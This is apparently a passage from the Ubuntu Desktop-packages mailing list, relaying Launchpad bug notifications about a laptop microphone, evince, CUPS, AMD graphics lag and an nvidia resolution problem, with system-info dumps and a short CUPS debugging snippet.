Nothing to do for me. Ubuntu 20.10 HP spectre x360. 5.11.22 Kernel (no microphone) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1840725 Title: Microphone not working in Ubuntu 18.04.3 LTS on new hp- spectre-x360-convertible-15 laptop Status in alsa-driver package in Ubuntu: Confirmed Bug description: Internal Microphone does not work in Ubuntu 18.04.3 LTS in a new hp- spectre-x360-convertible-15 laptop. The microphone works perfectly on Windows 10 (present in Dual boot mode). Initially, Internal Microphone was not even detected but installing alsa-tools-gui and overriding pin 0x12 to the Internal Microphone fixed that issue. [Pin 0x13 does not work and causes static in a headphone if it is plugged in.] Microphone is not able to pick up any sound. I changed levels/settings in alsamixer, pavucontrol without any success: In alsamixer: Experimented with levels ranging from very low to very high for Internal Mic, Capture, etc. In pavucontrol: Set the Internal Mic as a fallback device, unlocked the channels for the mic, experimented with reducing the level for one of the channels (reduced right mic level to Silence while keeping the left mic level normal/high and vice versa). alsa-info: http://alsa-project.org/db/?f=cf6d3ccc6372f955da7d99df07afbcb31d5a6c7f arecord -l List of CAPTURE Hardware Devices card 0: PCH [HDA Intel PCH], device 0: ALC285 Analog [ALC285 Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1840725/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923459] [NEW] evince doesn't show filename or PDF title on the title bar
Public bug reported: After updating to Ubuntu 21.04, evince does not show any info in the title bar. Previously, it showed the filename and the PDF title. See attached screenshot. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: evince 40.1-1 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 10:42:29 2021 InstallationDate: Installed on 2020-11-04 (159 days ago) InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Release amd64 (20201022) SourcePackage: evince UpgradeStatus: Upgraded to hirsute on 2021-04-11 (0 days ago) ** Affects: evince (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug hirsute wayland-session ** Attachment added: "Captura de pantalla de 2021-04-12 10-42-58.png" https://bugs.launchpad.net/bugs/1923459/+attachment/5486925/+files/Captura%20de%20pantalla%20de%202021-04-12%2010-42-58.png -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to evince in Ubuntu. https://bugs.launchpad.net/bugs/1923459 Title: evince doesn't show filename or PDF title on the title bar Status in evince package in Ubuntu: New Bug description: After updating to Ubuntu 21.04, evince does not show any info in the title bar. Previously, it showed the filename and the PDF title. See attached screenshot. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: evince 40.1-1 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Mon Apr 12 10:42:29 2021 InstallationDate: Installed on 2020-11-04 (159 days ago) InstallationMedia: Ubuntu 20.10 "Groovy Gorilla" - Release amd64 (20201022) SourcePackage: evince UpgradeStatus: Upgraded to hirsute on 2021-04-11 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/evince/+bug/1923459/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1816674] Re: Update-mime-database is getting very slow during apps installation
@Sebastien Sorry for the late reply. I recall that the workaround consisted in adding a random delay to the apt-daily task, so that it would not happen *right* at startup. How exactly this was done, unfortunately, I did write it down :-/ but I think it was adding or creating the file ./system/apt-daily.timer, ensuring that it contained the RandomizedDelaySec directive. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to shared-mime-info in Ubuntu. https://bugs.launchpad.net/bugs/1816674 Title: Update-mime-database is getting very slow during apps installation Status in shared-mime-info package in Ubuntu: Confirmed Bug description: The installation of some apps has become very slow due to the update- mime-database command that takes up a lot of time. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: shared-mime-info 1.10-1 ProcVersionSignature: Ubuntu 4.18.0-15.16-generic 4.18.20 Uname: Linux 4.18.0-15-generic x86_64 ApportVersion: 2.20.10-0ubuntu13.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Tue Feb 19 22:37:53 2019 InstallationDate: Installed on 2019-01-16 (34 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 (20181017.3) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=it_IT.UTF-8 SHELL=/bin/bash SourcePackage: shared-mime-info UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/shared-mime-info/+bug/1816674/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1890572] Re: USB backend never ends if the printer is not connected
Hi Sebastian,
the patch set the job state to backend error.
I don't think openprinting is the right error here. The problem is in
the backend (the USB backend) when it's not possible to communicate with
a USB printer. This usually means that the printer is not connected.
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1890572
Title:
USB backend never ends if the printer is not connected
Status in cups package in Ubuntu:
New
Bug description:
USB backend never ends if the printer is not connected. We have been
able to identify a infinity loop in print_device function in usb-
libusb.c file:
```
fprintf(stderr, "DEBUG: Printing on printer with URI: %s\n", uri);
while ((g.printer = find_device(print_cb, uri)) == NULL)
{
_cupsLangPrintFilter(stderr, "INFO",
_("Waiting for printer to become available."));
sleep(5);
}
```
It's also easy to test by invoking the backend by hand:
```
# export DEVICE_URI='usb://Printer/Model?serial=?'
# /usr/lib/cups/backend/usb 0 root title 1 '' data.file
DEBUG: Loading USB quirks from "/usr/share/cups/usb".
DEBUG: Loaded 159 quirks.
DEBUG: Printing on printer with URI: usb://Printer/Model?serial=?
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
...
```
Setting a job timeout policy or manually stopping work are not options
for us. We may have jobs that take hours to complete.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1890572/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1890572] Re: USB backend never ends if the printer is not connected
What's the status of the patch upstream? The cups reports mentioned
earlier got close asking to report to openprinting instead, did you do
that?
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1890572
Title:
USB backend never ends if the printer is not connected
Status in cups package in Ubuntu:
New
Bug description:
USB backend never ends if the printer is not connected. We have been
able to identify a infinity loop in print_device function in usb-
libusb.c file:
```
fprintf(stderr, "DEBUG: Printing on printer with URI: %s\n", uri);
while ((g.printer = find_device(print_cb, uri)) == NULL)
{
_cupsLangPrintFilter(stderr, "INFO",
_("Waiting for printer to become available."));
sleep(5);
}
```
It's also easy to test by invoking the backend by hand:
```
# export DEVICE_URI='usb://Printer/Model?serial=?'
# /usr/lib/cups/backend/usb 0 root title 1 '' data.file
DEBUG: Loading USB quirks from "/usr/share/cups/usb".
DEBUG: Loaded 159 quirks.
DEBUG: Printing on printer with URI: usb://Printer/Model?serial=?
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
...
```
Setting a job timeout policy or manually stopping work are not options
for us. We may have jobs that take hours to complete.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1890572/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923153] Re: Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU)
@Daniel, Above are the outputs. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-ati in Ubuntu. https://bugs.launchpad.net/bugs/1923153 Title: Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU) Status in OEM Priority Project: Confirmed Status in xserver-xorg-video-amdgpu package in Ubuntu: New Status in xserver-xorg-video-ati package in Ubuntu: New Bug description: [Steps to reproduce this issue] 1. Install a focal base image 2. Attach an AMD R7 430 graphic as dGPU without connecting any monitor on it. 3. Attach DP monitor on iGPU (no matter the iGPU is Intel(i915), or AMD(amdgpu)). 4. After logging it, the display shows laggy. [Additional information] 1. doesn't see this issue if selecting 'Wayland' ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xserver-xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.10.0-1019.20-oem 5.10.18 Uname: Linux 5.10.0-1019-oem x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip Date: Fri Apr 9 16:23:42 2021 DistUpgraded: Fresh install DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-stella-focal-amd64-20210324-1458+pc-stella-cmit-focal-amd64+X00 DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [1002:6611] (rev 87) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [103c:3375] Advanced Micro Devices, Inc. [AMD/ATI] Renoir [1002:1636] (rev da) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Renoir [103c:872b] InstallationDate: Installed on 2021-04-09 (0 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20210324-23:53 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.0-1019-oem root=UUID=027c2398-aef7-43d2-a339-6a2163287914 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/30/2020 dmi.bios.release: 2.0 dmi.bios.vendor: HP dmi.bios.version: S09 Ver. 02.02.00 dmi.board.name: 872B dmi.board.vendor: HP dmi.board.version: KBC Version 09.94.00 dmi.chassis.type: 3 dmi.chassis.vendor: HP dmi.ec.firmware.release: 9.148 dmi.modalias: dmi:bvnHP:bvrS09Ver.02.02.00:bd12/30/2020:br2.0:efr9.148:svnHP:pn:pvr:rvnHP:rn872B:rvrKBCVersion09.94.00:cvnHP:ct3:cvr: dmi.product.family: 103C_53307F HP EliteDesk dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1923153/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923153] Re: Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU)
** Attachment added: "journal2.txt" https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-amdgpu/+bug/1923153/+attachment/5486867/+files/journal2.txt -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-ati in Ubuntu. https://bugs.launchpad.net/bugs/1923153 Title: Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU) Status in OEM Priority Project: Confirmed Status in xserver-xorg-video-amdgpu package in Ubuntu: New Status in xserver-xorg-video-ati package in Ubuntu: New Bug description: [Steps to reproduce this issue] 1. Install a focal base image 2. Attach an AMD R7 430 graphic as dGPU without connecting any monitor on it. 3. Attach DP monitor on iGPU (no matter the iGPU is Intel(i915), or AMD(amdgpu)). 4. After logging it, the display shows laggy. [Additional information] 1. doesn't see this issue if selecting 'Wayland' ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xserver-xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.10.0-1019.20-oem 5.10.18 Uname: Linux 5.10.0-1019-oem x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip Date: Fri Apr 9 16:23:42 2021 DistUpgraded: Fresh install DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-stella-focal-amd64-20210324-1458+pc-stella-cmit-focal-amd64+X00 DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [1002:6611] (rev 87) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [103c:3375] Advanced Micro Devices, Inc. [AMD/ATI] Renoir [1002:1636] (rev da) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Renoir [103c:872b] InstallationDate: Installed on 2021-04-09 (0 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20210324-23:53 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.0-1019-oem root=UUID=027c2398-aef7-43d2-a339-6a2163287914 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/30/2020 dmi.bios.release: 2.0 dmi.bios.vendor: HP dmi.bios.version: S09 Ver. 02.02.00 dmi.board.name: 872B dmi.board.vendor: HP dmi.board.version: KBC Version 09.94.00 dmi.chassis.type: 3 dmi.chassis.vendor: HP dmi.ec.firmware.release: 9.148 dmi.modalias: dmi:bvnHP:bvrS09Ver.02.02.00:bd12/30/2020:br2.0:efr9.148:svnHP:pn:pvr:rvnHP:rn872B:rvrKBCVersion09.94.00:cvnHP:ct3:cvr: dmi.product.family: 103C_53307F HP EliteDesk dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1923153/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923153] Re: Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU)
** Attachment added: "lspci2.txt" https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-amdgpu/+bug/1923153/+attachment/5486866/+files/lspci2.txt -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-ati in Ubuntu. https://bugs.launchpad.net/bugs/1923153 Title: Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU) Status in OEM Priority Project: Confirmed Status in xserver-xorg-video-amdgpu package in Ubuntu: New Status in xserver-xorg-video-ati package in Ubuntu: New Bug description: [Steps to reproduce this issue] 1. Install a focal base image 2. Attach an AMD R7 430 graphic as dGPU without connecting any monitor on it. 3. Attach DP monitor on iGPU (no matter the iGPU is Intel(i915), or AMD(amdgpu)). 4. After logging it, the display shows laggy. [Additional information] 1. doesn't see this issue if selecting 'Wayland' ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xserver-xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.10.0-1019.20-oem 5.10.18 Uname: Linux 5.10.0-1019-oem x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip Date: Fri Apr 9 16:23:42 2021 DistUpgraded: Fresh install DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-stella-focal-amd64-20210324-1458+pc-stella-cmit-focal-amd64+X00 DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [1002:6611] (rev 87) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [103c:3375] Advanced Micro Devices, Inc. [AMD/ATI] Renoir [1002:1636] (rev da) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Renoir [103c:872b] InstallationDate: Installed on 2021-04-09 (0 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20210324-23:53 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.0-1019-oem root=UUID=027c2398-aef7-43d2-a339-6a2163287914 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/30/2020 dmi.bios.release: 2.0 dmi.bios.vendor: HP dmi.bios.version: S09 Ver. 02.02.00 dmi.board.name: 872B dmi.board.vendor: HP dmi.board.version: KBC Version 09.94.00 dmi.chassis.type: 3 dmi.chassis.vendor: HP dmi.ec.firmware.release: 9.148 dmi.modalias: dmi:bvnHP:bvrS09Ver.02.02.00:bd12/30/2020:br2.0:efr9.148:svnHP:pn:pvr:rvnHP:rn872B:rvrKBCVersion09.94.00:cvnHP:ct3:cvr: dmi.product.family: 103C_53307F HP EliteDesk dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1923153/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923153] Re: Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU)
here is the output ** Attachment added: "journal-b-k.log" https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-amdgpu/+bug/1923153/+attachment/5486865/+files/journal-b-k.log -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xserver-xorg-video-ati in Ubuntu. https://bugs.launchpad.net/bugs/1923153 Title: Display output laggy from iGPU when operating on desktop with attaching AMD R7 430 graphic (dGPU) Status in OEM Priority Project: Confirmed Status in xserver-xorg-video-amdgpu package in Ubuntu: New Status in xserver-xorg-video-ati package in Ubuntu: New Bug description: [Steps to reproduce this issue] 1. Install a focal base image 2. Attach an AMD R7 430 graphic as dGPU without connecting any monitor on it. 3. Attach DP monitor on iGPU (no matter the iGPU is Intel(i915), or AMD(amdgpu)). 4. After logging it, the display shows laggy. [Additional information] 1. doesn't see this issue if selecting 'Wayland' ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xserver-xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.10.0-1019.20-oem 5.10.18 Uname: Linux 5.10.0-1019-oem x86_64 ApportVersion: 2.20.11-0ubuntu27.16 Architecture: amd64 CasperMD5CheckResult: skip Date: Fri Apr 9 16:23:42 2021 DistUpgraded: Fresh install DistributionChannelDescriptor: # This is the distribution channel descriptor for the OEM CDs # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-stella-focal-amd64-20210324-1458+pc-stella-cmit-focal-amd64+X00 DistroCodename: focal DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [1002:6611] (rev 87) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Oland [Radeon HD 8570 / R7 240/340 / Radeon 520 OEM] [103c:3375] Advanced Micro Devices, Inc. [AMD/ATI] Renoir [1002:1636] (rev da) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company Renoir [103c:872b] InstallationDate: Installed on 2021-04-09 (0 days ago) InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 20210324-23:53 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.10.0-1019-oem root=UUID=027c2398-aef7-43d2-a339-6a2163287914 ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 12/30/2020 dmi.bios.release: 2.0 dmi.bios.vendor: HP dmi.bios.version: S09 Ver. 02.02.00 dmi.board.name: 872B dmi.board.vendor: HP dmi.board.version: KBC Version 09.94.00 dmi.chassis.type: 3 dmi.chassis.vendor: HP dmi.ec.firmware.release: 9.148 dmi.modalias: dmi:bvnHP:bvrS09Ver.02.02.00:bd12/30/2020:br2.0:efr9.148:svnHP:pn:pvr:rvnHP:rn872B:rvrKBCVersion09.94.00:cvnHP:ct3:cvr: dmi.product.family: 103C_53307F HP EliteDesk dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.102-1ubuntu1~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 20.2.6-0ubuntu0.20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.9-2ubuntu1.2~20.04.1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1923153/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923437] [NEW] can't set 2560x1440 resolution after installing nvidia drivers
Public bug reported: Hello ! I have 2 monitors 1) one is 4K 2) another one is FULLHD, when I installed lubuntu I had 4k monitor work at maximum 4k and another at fullhd , I want to change that 4k monitor to 2560x1440(2k). after install nvidia drivers there is no 2560x1440 resolution in "monitor settings" resolutions tab like it was before installing drivers. when trying to add it manually from xrandr, at some point it gives me that error: X Error of failed request: BadName (named color or font does not exist) Major opcode of failed request: 140 (RANDR) Minor opcode of failed request: 16 (RRCreateMode) Serial number of failed request: 35 Current serial number in output stream: 35 in short , I can't set monitor to 2560x1440. what it might be ? -- 1) The release of Ubuntu you are using, via 'lsb_release -rd' or System -> About Ubuntu Description:Ubuntu Hirsute Hippo (development branch) Release:21.04 2) The version of the package you are using, via 'apt-cache policy pkgname' or by checking in Software Center Unable to locate package pkgname 3) What you expected to happen have 2560x1440 resolution option after installing nvidia driver 4) What happened instead have no 2560x1440 listed in "monitor settings" and can't even create it manually from xrandr commands Best Regard ! ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: xorg 1:7.7+22ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/gpu0' .proc.driver.nvidia.capabilities.mig: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/capabilities/mig' .proc.driver.nvidia.gpus..01.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:01:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.67 Thu Mar 11 00:11:45 UTC 2021 GCC version: gcc version 10.3.0 (Ubuntu 10.3.0-1ubuntu1) ApportVersion: 2.20.11-0ubuntu62 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CasperMD5CheckResult: unknown CompositorRunning: None CurrentDesktop: LXQt Date: Mon Apr 12 14:07:34 2021 DistUpgraded: Fresh install DistroCodename: hirsute DistroVariant: ubuntu DkmsStatus: nvidia, 460.67, 5.11.0-13-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: NVIDIA Corporation GP107 [GeForce GTX 1050] [10de:1c81] (rev a1) (prog-if 00 [VGA controller]) Subsystem: eVga.com. Corp. GP107 [GeForce GTX 1050] [3842:6150] InstallationDate: Installed on 2021-04-12 (0 days ago) InstallationMedia: Lubuntu 21.04 "Hirsute Hippo" - Beta amd64 (20210331) MachineType: ASUS All Series ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.11.0-13-generic root=UUID=acd8d9c8-3bd0-4c68-9a02-19818e4cf3c3 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 09/05/2017 dmi.bios.release: 5.11 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 3802 dmi.board.asset.tag: Default string dmi.board.name: X99-DELUXE dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr3802:bd09/05/2017:br5.11:svnASUS:pnAllSeries:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnX99-DELUXE:rvrRev1.xx:cvnDefaultstring:ct3:cvrDefaultstring: dmi.product.family: ASUS MB dmi.product.name: All Series dmi.product.sku: All dmi.product.version: System Version dmi.sys.vendor: ASUS version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.104-1build1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.0.1-2 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.10-3ubuntu7 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-1 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug hirsute resolution ubuntu -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1923437 Title: can't set 2560x1440 resolution after installing nvidia drivers Status in xorg package in Ubuntu: New Bug description: Hello !
[Desktop-packages] [Bug 1923431] Re: Chrome/Chromium is composited slower without "system title bar and borders"
